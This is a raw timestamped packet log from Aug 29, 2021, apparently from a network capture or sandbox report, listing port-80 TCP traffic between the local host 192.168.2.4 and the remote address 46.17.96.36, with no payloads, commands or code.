Aug 29, 2021 22:28:09.453804970 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.453835011 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.453958988 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.454133034 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.454407930 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.454438925 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.489483118 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.489517927 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.489542961 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.489566088 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.489590883 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.489614964 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.490144968 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.490170956 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.490195990 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.525182009 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.525262117 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.564426899 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.564928055 CEST	49941	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.566047907 CEST	49943	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.597358942 CEST	80	49941	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.597438097 CEST	49941	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.600030899 CEST	80	49942	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.600116014 CEST	49942	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.601082087 CEST	80	49943	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.601236105 CEST	49943	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.618006945 CEST	49943	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.653204918 CEST	80	49943	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.692574978 CEST	80	49943	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.692713976 CEST	49943	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.913265944 CEST	49943	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.914335966 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.915396929 CEST	49945	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.946429968 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.946583986 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.948379993 CEST	80	49943	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.948502064 CEST	49943	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.950874090 CEST	80	49945	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:09.950984955 CEST	49945	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.971520901 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.971620083 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.971946955 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.972073078 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:09.974066973 CEST	49945	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.003703117 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.003743887 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.003850937 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.003875971 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.003911018 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.004002094 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.004048109 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.004069090 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.004162073 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.004273891 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.004276991 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.004365921 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.004478931 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.004553080 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.008646965 CEST	80	49945	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.036144018 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.036185980 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.036210060 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.036284924 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.036322117 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.036340952 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.036371946 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.036412001 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.036479950 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.036508083 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.036550045 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.036590099 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.036678076 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.036700964 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.036721945 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.036812067 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.036839008 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.036861897 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.036890984 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.036921024 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.036966085 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.068315029 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.068356037 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.068425894 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.068510056 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.068758011 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.068907022 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.068932056 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.069116116 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.069143057 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.069169044 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.069273949 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.069464922 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.069492102 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.069623947 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.069648981 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.069828987 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.069859028 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.070031881 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.073224068 CEST	80	49945	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.073339939 CEST	49945	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.090208054 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.090289116 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.090315104 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.100379944 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.100522995 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.122457981 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.122494936 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.122519970 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.122792959 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.122821093 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.122865915 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.122956991 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.123081923 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.163239002 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.163341999 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.232688904 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.233145952 CEST	49945	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.234539032 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.265248060 CEST	80	49944	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.265404940 CEST	49944	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.269087076 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.269136906 CEST	80	49945	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.269222021 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.269252062 CEST	49945	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.275662899 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.308887959 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.352323055 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.352440119 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.459820032 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.459928036 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.460299969 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.460423946 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.476845980 CEST	49947	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.492340088 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.492486000 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.492641926 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.492666006 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.492701054 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.492727995 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.492774963 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.492789030 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.492868900 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.492938042 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.493077040 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.493103027 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.493155956 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.493177891 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.511586905 CEST	80	49947	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.511712074 CEST	49947	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.515578032 CEST	49947	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.525245905 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.525271893 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.525285959 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.525295973 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.525384903 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.525499105 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.525554895 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.525573015 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.525640011 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.525650978 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.525661945 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.525794983 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.525811911 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.525903940 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.525919914 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.525979042 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.526057959 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.526108027 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.526205063 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.526290894 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.550158024 CEST	80	49947	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.558002949 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.558021069 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.558029890 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.558196068 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.558305979 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.558352947 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.558442116 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.558456898 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.558674097 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.558687925 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.558875084 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.559041023 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.559055090 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.559144020 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.559187889 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.564330101 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.564469099 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.564542055 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.593533039 CEST	80	49947	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.593666077 CEST	49947	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.596729040 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.596823931 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.596873999 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.596888065 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.597064018 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.597079039 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.629853010 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.629946947 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.748150110 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.748456955 CEST	49947	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.749435902 CEST	49948	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.781078100 CEST	80	49946	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.781240940 CEST	49946	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.782938004 CEST	80	49947	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.783027887 CEST	49947	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.786453009 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.786585093 CEST	49948	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.819044113 CEST	49948	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:10.854167938 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.897176981 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:10.897257090 CEST	49948	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:18.860821009 CEST	49948	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:18.860914946 CEST	49948	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:18.861094952 CEST	49948	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:18.861185074 CEST	49948	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:18.897562027 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.897608995 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.897628069 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.897646904 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.897665024 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.897677898 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.897689104 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.897800922 CEST	49948	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:18.897908926 CEST	49948	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:18.932934046 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.932956934 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.932964087 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.932971001 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.933056116 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.933065891 CEST	49948	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:18.933173895 CEST	49948	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:18.933268070 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.933358908 CEST	49948	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:18.949738979 CEST	49949	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:18.968137980 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.968169928 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.968180895 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.968319893 CEST	49948	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:18.969206095 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.969228029 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.969238043 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.969247103 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.969255924 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.969270945 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.969314098 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.969316006 CEST	49948	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:18.982052088 CEST	80	49949	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:18.982172966 CEST	49949	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.003634930 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.003668070 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.005381107 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.005408049 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.021507025 CEST	49949	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.043443918 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.043590069 CEST	49948	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.054028034 CEST	80	49949	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.098575115 CEST	80	49949	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.098732948 CEST	49949	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.266360044 CEST	49949	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.266757965 CEST	49948	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.268271923 CEST	49950	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.290842056 CEST	49951	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.298892975 CEST	80	49949	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.299232960 CEST	49949	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.300080061 CEST	80	49950	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.300184011 CEST	49950	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.300780058 CEST	49950	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.301593065 CEST	80	49948	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.301743984 CEST	49948	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.323501110 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.323652029 CEST	49951	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.324321032 CEST	49951	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.324440956 CEST	49951	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.324672937 CEST	49951	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.324805021 CEST	49951	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.332601070 CEST	80	49950	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.357141972 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.357206106 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.357233047 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.357253075 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.357274055 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.357295036 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.357316017 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.357336044 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.357394934 CEST	49951	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.357454062 CEST	49951	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.377648115 CEST	80	49950	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.377746105 CEST	49950	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.391006947 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.391027927 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.391057968 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.391233921 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.391252041 CEST	49951	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.391336918 CEST	49951	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.391405106 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.391488075 CEST	49951	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.423630953 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.423722982 CEST	49951	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.423827887 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.423842907 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.423928976 CEST	49951	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.423970938 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.424259901 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.424277067 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.424323082 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.456398964 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.456422091 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.456429005 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.456439018 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.496769905 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.496862888 CEST	49951	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.515219927 CEST	49951	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.515522957 CEST	49950	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.516654015 CEST	49952	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.548170090 CEST	80	49950	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.548197031 CEST	80	49951	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.548278093 CEST	49950	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.548305988 CEST	49951	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.550961971 CEST	80	49952	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.551064014 CEST	49952	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.556566954 CEST	49952	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.590616941 CEST	80	49952	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.633733988 CEST	80	49952	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.633893013 CEST	49952	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.755240917 CEST	49952	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.756330013 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.789236069 CEST	80	49952	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.789489985 CEST	49952	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.790812016 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.790899038 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.791806936 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.791941881 CEST	49953	80	192.168.2.4	46.17.96.36
